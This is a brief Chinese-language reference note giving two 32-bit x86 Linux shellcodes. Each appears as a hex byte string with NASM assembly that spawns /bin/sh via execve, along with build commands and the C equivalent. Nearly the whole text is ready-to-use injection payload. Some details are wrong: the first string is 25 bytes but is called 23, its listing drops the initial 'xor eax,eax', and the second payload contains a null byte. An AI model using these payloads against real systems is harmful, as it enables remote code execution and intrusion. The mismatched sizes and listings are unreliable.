两种ShellCode
1. 第一种
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
对应的汇编代码:
section .text
global _start
_start:
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
xor edx,edx
mov al,0xb
int 0x80
命令
nasm -f elf32 shellcode.asm
ld -o shellcode shellcode.o -m elf_i386
长度:23个字节, 最为适合。
第二种
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x00\x53\x89\xe1\xcd\x80
对应的汇编代码:
section .text
global _start
_start:
push 0xb
pop eax
cdq
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push 0x0
push ebx
mov ecx,esp
int 0x80
长度: 24个字节。
总结
上述这两种
shellcode
其C语言原型如下:
#include <unistd.h>
int main()
{
char * shell[2];
shell[0]="/bin/sh";
shell[1]=NULL;
execve(shell[0],shell,NULL);
}